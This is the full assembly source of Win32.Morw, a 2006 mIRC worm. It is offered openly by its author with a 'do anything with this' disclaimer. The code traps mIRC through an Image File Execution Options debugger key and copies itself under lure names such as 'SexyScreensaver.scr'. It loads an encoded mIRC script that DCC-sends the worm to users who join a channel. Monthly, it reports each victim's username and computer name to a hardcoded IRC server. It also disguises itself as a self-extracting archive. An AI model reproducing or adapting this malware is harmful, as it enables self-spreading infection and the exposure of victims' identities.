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MalwareSourceCode/Win32/Infector/Win32.Morw.asm

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2020-10-11 03:07:43 +00:00
;=================================================================================\
; Win32.Morw |
; (c) by DiA/RRLF |
; www.vx-dia.de.vu - www.rrlf.de.vu |
; |
; Heya, long time ago since i brought you something in asm, but here we go again. |
; This is a worm for the mIRC IRC client. It traps mIRC, means when mIRC gets |
; executed the worm gets executed too. It copys then all necessary files to the |
; system directory, generates and load the mIRC script for spreading. Just |
; look at the script to see how it spreads on the "on JOIN" event. If you ask |
; yourself how to make the script readable, go away kiddie. When the user |
; terminate mIRC, the worm unload the script and delete all temporary files. |
; On every 27th of every month the worm notify the infection to a channel at |
; undernet. Just to be proud of my lil creation. At last i must say sorry, no |
; comments in the source, no extended description here... sucks. But this was |
; a fast one, and the code is also very readable. Have fun with it, and don't |
; forget: DO ANYTHING WITH THIS, BUT AT YOUR OWN RISK. I AM NOT RESPONSIBLE! |
; |
; DiA/RRLF - 06.04.2006 |
;=================================================================================/
include "%fasminc%\win32ax.inc"
section "c" code readable writeable executable
;==================================================
MorwData:
jmp MorwCode
CurrentFile rb 256d
WormFile rb 256d
WormName db "morw.exe", 0
SystemDir rb 256d
MircHandle dd ?
MircWindowName db "mIRC", 0
FileMap dd ?
MircData dd ?
MircPath rb 256d
MircPathSize db 255d
MircRegKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\mIRC"
MircPathHandle dd ?
UninstallString db "UninstallString", 0
StartupInfo STARTUPINFO
ProcessInfo PROCESS_INFORMATION
ScriptFile db "morw.mrc", 0
ScriptHandle dd ?
BytesWritten dd ?
ScriptFoot db 13, 10, "}", 13, 10, "}", 13, 10, 0
SystemTime SYSTEMTIME
FilesTable db "IrcTool.exe", 10d
db "Secure_mIRC.exe", 10d
db "SpeedItUp.exe", 10d
db "InsultQuotes.pif", 10d
db "Instruction.pif", 10d
db "Abuse.pif", 10d
db "YourFile.exe", 10d
db "File.exe", 10d
db "Install.exe", 10d
db "Funny.scr", 10d
db "SexyScreensaver.scr", 10d
db "Screensaver.scr", 10d
db 0
FileBuffer rb 256d
MircScript db 0x76, 0x61, 0x72, 0x20, 0x25, 0x6E, 0x0D, 0x0A, 0x6F, 0x6E, 0x20, 0x31, 0x3A, 0x4A, 0x4F, 0x49
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db 0x0D, 0x0A, 0
MorwCode:
invoke GetModuleFileName,\
0,\
CurrentFile,\
256d
invoke GetSystemDirectory,\
SystemDir,\
256d
invoke lstrlen,\
CurrentFile
mov ebx, CurrentFile
add ebx, eax
sub ebx, 8d
mov ecx, dword [WormName]
cmp dword [ebx], ecx
je StartMirc
invoke lstrcpy,\
WormFile,\
SystemDir
invoke lstrcat,\
WormFile,\
"\"
invoke lstrcat,\
WormFile,\
WormName
invoke SetFileAttributes,\
WormFile,\
FILE_ATTRIBUTE_NORMAL
invoke CopyFile,\
CurrentFile,\
WormFile,\
0
cmp eax, 0
je NeedRoot
invoke SetFileAttributes,\
WormFile,\
FILE_ATTRIBUTE_HIDDEN
mov ebx, 1d
call UnTrapMirc
jmp Exit
StartMirc:
invoke lstrcpy,\
WormFile,\
CurrentFile
invoke lstrcpy,\
CurrentFile,\
SystemDir
invoke lstrcat,\
CurrentFile,\
"\MorwBy.DiA"
invoke CopyFile,\
WormFile,\
CurrentFile,\
0
cmp eax, 0
je NeedRoot
invoke DeleteFile,\
CurrentFile
invoke RegOpenKeyEx,\
HKEY_LOCAL_MACHINE,\
MircRegKey,\
0,\
KEY_QUERY_VALUE,\
MircPathHandle
cmp eax, 0
jne Exit
invoke RegQueryValueEx,\
dword [MircPathHandle],\
UninstallString,\
0,\
0,\
CurrentFile,\
MircPathSize
cmp eax, 0
jne Exit
invoke RegCloseKey,\
dword [MircRegKey]
invoke lstrlen,\
CurrentFile
mov ebx, CurrentFile
inc ebx
mov ecx, eax
sub ecx, 12d
invoke lstrcpyn,\
MircPath,\
ebx,\
ecx
mov ebx, 0d
call UnTrapMirc
invoke CreateProcess,\
MircPath,\
0,\
0,\
0,\
0,\
CREATE_NEW_CONSOLE,\
0,\
0,\
StartupInfo,\
ProcessInfo
cmp eax, 0
je Exit
mov ebx, 1d
call UnTrapMirc
Check:
invoke GetSystemTime,\
SystemTime
cmp word [SystemTime.wDay], 27d
jne BeginToCopy
call Payload
BeginToCopy:
mov ebx, 1d
call CopyDeleteFiles
invoke lstrcpy,\
CurrentFile,\
SystemDir
invoke lstrcat,\
CurrentFile,\
"\"
invoke lstrcat,\
CurrentFile,\
ScriptFile
invoke CreateFile,\
CurrentFile,\
GENERIC_WRITE,\
FILE_SHARE_WRITE,\
0,\
CREATE_ALWAYS,\
FILE_ATTRIBUTE_HIDDEN,\
0
mov dword [ScriptHandle], eax
cmp eax, INVALID_HANDLE_VALUE
je Exit
invoke lstrlen,\
MircScript
invoke WriteFile,\
dword [ScriptHandle],\
MircScript,\
eax,\
BytesWritten,\
0
invoke lstrcpy,\
CurrentFile,\
"/dcc send -cl %n "
invoke lstrcat,\
CurrentFile,\
SystemDir
invoke lstrcat,\
CurrentFile,\
"\ $+ %f"
invoke lstrcat,\
CurrentFile,\
ScriptFoot
invoke lstrlen,\
CurrentFile
invoke WriteFile,\
dword [ScriptHandle],\
CurrentFile,\
eax,\
BytesWritten,\
0
invoke lstrcpy,\
CurrentFile,\
"on 1:EXIT:/unload -rs "
invoke lstrcat,\
CurrentFile,\
SystemDir
invoke lstrcat,\
CurrentFile,\
"\"
invoke lstrcat,\
CurrentFile,\
ScriptFile
invoke lstrlen,\
CurrentFile
invoke WriteFile,\
dword [ScriptHandle],\
CurrentFile,\
eax,\
BytesWritten,\
0
invoke CloseHandle,\
dword [ScriptHandle]
invoke Sleep,\
120000d
invoke FindWindow,\
MircWindowName,\
0
mov dword [MircHandle], eax
cmp eax, 0
je Exit
invoke CreateFileMapping,\
INVALID_HANDLE_VALUE,\
0,\
PAGE_READWRITE,\
0,\
4096d,\
MircWindowName
mov dword [FileMap], eax
cmp eax, 0
je Exit
invoke MapViewOfFile,\
dword [FileMap],\
FILE_MAP_ALL_ACCESS,\
0,\
0,\
0
mov dword [MircData], eax
cmp eax, 0
je CloseHandles
invoke lstrcpy,\
CurrentFile,\
SystemDir
invoke lstrcat,\
CurrentFile,\
"\"
invoke lstrcat,\
CurrentFile,\
ScriptFile
invoke lstrcpy,\
dword [MircData],\
"//load -rs "
invoke lstrcat,\
dword [MircData],\
CurrentFile
invoke SendMessage,\
dword [MircHandle],\
WM_USER + 200d,\
1d,\
0
WaitForExit:
invoke FindWindow,\
MircWindowName,\
0
cmp eax, 0
je MircTerminated
invoke Sleep,\
1000d
jmp WaitForExit
MircTerminated:
mov ebx, 0d
call CopyDeleteFiles
invoke lstrcpy,\
CurrentFile,\
SystemDir
invoke lstrcat,\
CurrentFile,\
"\"
invoke lstrcat,\
CurrentFile,\
ScriptFile
invoke DeleteFile,\
CurrentFile
CloseHandles:
invoke UnmapViewOfFile,\
dword [MircData]
invoke CloseHandle,\
dword [FileMap]
invoke CloseHandle,\
dword [MircHandle]
jmp Exit
NeedRoot:
invoke MessageBox,\
0,\
"Please execute this application as Administrator.",\
0,\
MB_ICONERROR
Exit:
invoke ExitProcess, 0
UnTrapMirc:
jmp UnTrapMircStart
RegFileExec db "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options", 0
RegHandle dd ?
MircName db "mirc.exe", 0
RegMircHandle dd ?
UntrapValue db "", 0
Debugger db "Debugger", 0
UnTrapMircStart:
;in: ebx = trap (1) or untrap (0)
; WormFile = must be path to the installed worm path
;out: eax = error (131313h) or ok (1)
invoke RegOpenKeyEx,\
HKEY_LOCAL_MACHINE,\
RegFileExec,\
0,\
KEY_ALL_ACCESS,\
RegHandle
cmp eax, 0
jne UnTrapMircError
invoke RegCreateKey,\
dword [RegHandle],\
MircName,\
RegMircHandle
cmp eax, 0
jne UnTrapMircError
cmp ebx, 1d
je TrapMirc
mov edx, UntrapValue
jmp SetValue
TrapMirc:
mov edx, WormFile
SetValue:
invoke lstrlen,\
edx
inc eax
dec edx
invoke RegSetValueEx,\
dword [RegMircHandle],\
Debugger,\
0,\
REG_SZ,\
edx,\
eax
mov ecx, eax
UnTrapMircError:
invoke RegCloseKey,\
dword [RegMircHandle]
invoke RegCloseKey,\
dword [RegHandle]
cmp ecx, 0h
je UnTrapMircOk
mov eax, 131313h
jmp UnTrapMircReturn
UnTrapMircOk:
mov eax, 1d
UnTrapMircReturn:
ret
CopyDeleteFiles:
;in: ebx = Copy (1) or Delete (0)
;out: nothing
mov edx, FilesTable
mov ecx, 0
GetFileName:
cmp byte [edx + ecx], 10d
je HaveFileName
cmp byte [edx + ecx], 0
je CopyDeleteReturn
inc ecx
jmp GetFileName
HaveFileName:
inc ecx
push edx
push ecx
invoke lstrcpyn,\
FileBuffer,\
edx,\
ecx
invoke lstrcpy,\
CurrentFile,\
SystemDir
invoke lstrcat,\
CurrentFile,\
"\"
invoke lstrcat,\
CurrentFile,\
FileBuffer
cmp ebx, 0d
je DeleteFileX
invoke CopyFile,\
WormFile,\
CurrentFile,\
0
pop ecx
pop edx
add edx, ecx
mov ecx, 0
jmp GetFileName
DeleteFileX:
invoke SetFileAttributes,\
CurrentFile,\
FILE_ATTRIBUTE_HIDDEN
invoke DeleteFile,\
CurrentFile
pop ecx
pop edx
add edx, ecx
mov ecx, 0
jmp GetFileName
CopyDeleteReturn:
ret
Payload:
jmp PayloadStart
WSAData WSADATA
SockAddr dw AF_INET
SockAddr_Port dw ?
SockAddr_IP dd ?
SockAddr_Zero rb 8d
SocketDesc dd ?
CharBuff rb 2d
LineBuff rb 256d
Pong db "PONG "
PongBuff rb 16d
UserName rb 26d
UserNameSize dd 26d
CompName rb 26d
CompNameSize dd 26d
Nick rb 26d
CRLF db 10d, 13d, 0
PayloadStart:
invoke GetUserName,\
UserName,\
UserNameSize
invoke GetComputerName,\
CompName,\
CompNameSize
mov ecx, 0
GenerateNick:
cmp ecx, 8d
je HaveNick
mov al, byte [UserName + ecx]
mov byte [Nick + ecx], al
inc ecx
mov al, byte [CompName + ecx - 1]
mov byte [Nick + ecx], al
inc ecx
jmp GenerateNick
HaveNick:
invoke lstrcat,\
Nick,\
"morw"
invoke lstrlen,\
Nick
invoke CharLowerBuff,\
Nick,\
eax
invoke WSAStartup,\
0101h,\
WSAData
cmp eax, 0
jne PayloadReturn
invoke socket,\
AF_INET,\
SOCK_STREAM,\
0
mov dword [SocketDesc], eax
cmp eax, -1
je PayloadReturn
invoke inet_addr,\
"69.16.172.34"
mov dword [SockAddr_IP], eax
invoke htons,\
6667d
mov word [SockAddr_Port], ax
invoke connect,\
dword [SocketDesc],\
SockAddr,\
16d
cmp eax, 0
jne PayloadReturn
invoke lstrcpy,\
LineBuff,\
"NICK "
invoke lstrcat,\
LineBuff,\
Nick
call SendLine
invoke lstrcpy,\
LineBuff,\
"USER "
invoke lstrcat,\
LineBuff,\
Nick
invoke lstrcat,\
LineBuff,\
" 8 * :"
invoke lstrcat,\
LineBuff,\
Nick
invoke lstrcat,\
LineBuff,\
" "
invoke lstrcat,\
LineBuff,\
Nick
call SendLine
GetMotd:
call RecvLine
call HandlePing
mov ecx, 0
IsMotd:
cmp dword [LineBuff + ecx], "MOTD"
je HaveMotd
cmp byte [LineBuff + ecx], 0d
je LineEnd
inc ecx
jmp IsMotd
LineEnd:
jmp GetMotd
HaveMotd:
invoke lstrcpy, LineBuff,\
"JOIN #vx-lab"
call SendLine
invoke Sleep,\
1000d
invoke lstrcpy,\
LineBuff,\
"PRIVMSG #vx-lab :Win32.Morw got "
invoke lstrcat,\
LineBuff,\
UserName
invoke lstrcat,\
LineBuff,\
" on "
invoke lstrcat,\
LineBuff,\
CompName
call SendLine
invoke lstrcpy,\
LineBuff,\
"QUIT"
call SendLine
PayloadReturn:
ret
RecvLine:
invoke lstrcpy,\
LineBuff,\
""
GetLine:
invoke recv,\
dword [SocketDesc],\
CharBuff,\
1d,\
0
cmp eax, 0
je PayloadReturn
cmp byte [CharBuff], 10d
je HaveLine
invoke lstrcat,\
LineBuff,\
CharBuff
jmp GetLine
HaveLine:
ret
SendLine:
invoke lstrcat,\
LineBuff,\
CRLF
invoke lstrlen,\
LineBuff
invoke send,\
dword [SocketDesc],\
LineBuff,\
eax,\
0
cmp eax, -1
je PayloadReturn
ret
HandlePing:
cmp dword [LineBuff], "PING"
jne NoPing
invoke lstrcpy,\
PongBuff,\
LineBuff + 6d
invoke lstrcpy,\
LineBuff,\
Pong
call SendLine
NoPing:
ret
section "i" import data readable writeable
;==============================================
library kernel32, "kernel32.dll",\
advapi32, "advapi32.dll",\
user32, "user32.dll",\
winsock, "ws2_32.dll"
import kernel32,\
lstrlen, "lstrlenA",\
lstrcpy, "lstrcpyA",\
lstrcat, "lstrcatA",\
lstrcpyn, "lstrcpynA",\
GetModuleFileName, "GetModuleFileNameA",\
GetSystemDirectory, "GetSystemDirectoryA",\
CopyFile, "CopyFileA",\
CreateFileMapping, "CreateFileMappingA",\
MapViewOfFile, "MapViewOfFile",\
UnmapViewOfFile, "UnmapViewOfFile",\
CloseHandle, "CloseHandle",\
CreateProcess, "CreateProcessA",\
Sleep, "Sleep",\
SetFileAttributes, "SetFileAttributesA",\
CreateFile, "CreateFileA",\
DeleteFile, "DeleteFileA",\
WriteFile, "WriteFile",\
GetComputerName, "GetComputerNameA",\
GetSystemTime, "GetSystemTime",\
ExitProcess, "ExitProcess"
import advapi32,\
RegOpenKeyEx, "RegOpenKeyExA",\
RegCreateKey, "RegCreateKeyA",\
RegSetValueEx, "RegSetValueExA",\
RegQueryValueEx, "RegQueryValueExA",\
RegCloseKey, "RegCloseKey",\
GetUserName, "GetUserNameA"
import user32,\
MessageBox, "MessageBoxA",\
FindWindow, "FindWindowA",\
SendMessage, "SendMessageA",\
CharLowerBuff, "CharLowerBuffA"
import winsock,\
WSAStartup, "WSAStartup",\
socket, "socket",\
inet_addr, "inet_addr",\
htons, "htons",\
connect, "connect",\
recv, "recv",\
send, "send"
section "r" resource data readable
;=====================================
directory RT_ICON, icons,\
RT_GROUP_ICON, group_icons,\
RT_VERSION, versions
resource icons,\
1,\
LANG_NEUTRAL,\
icon_data
resource group_icons,\
17,\
LANG_NEUTRAL,\
main_icon
resource versions,\
1,\
LANG_NEUTRAL,\
version
icon main_icon,\
icon_data,\
"Morw.ico"
versioninfo version,\
VOS__WINDOWS32, VFT_APP, VFT2_UNKNOWN, LANG_ENGLISH, 0,\
"FileDescription", "Self Extracting Archive",\
"LegalCopyright", "RRLF Compressing Inc.",\
"FileVersion", "1.0",\
"ProductVersion", "1.0",\
"OriginalFilename", "Archive.ZIP"
Reference in New Issue Copy Permalink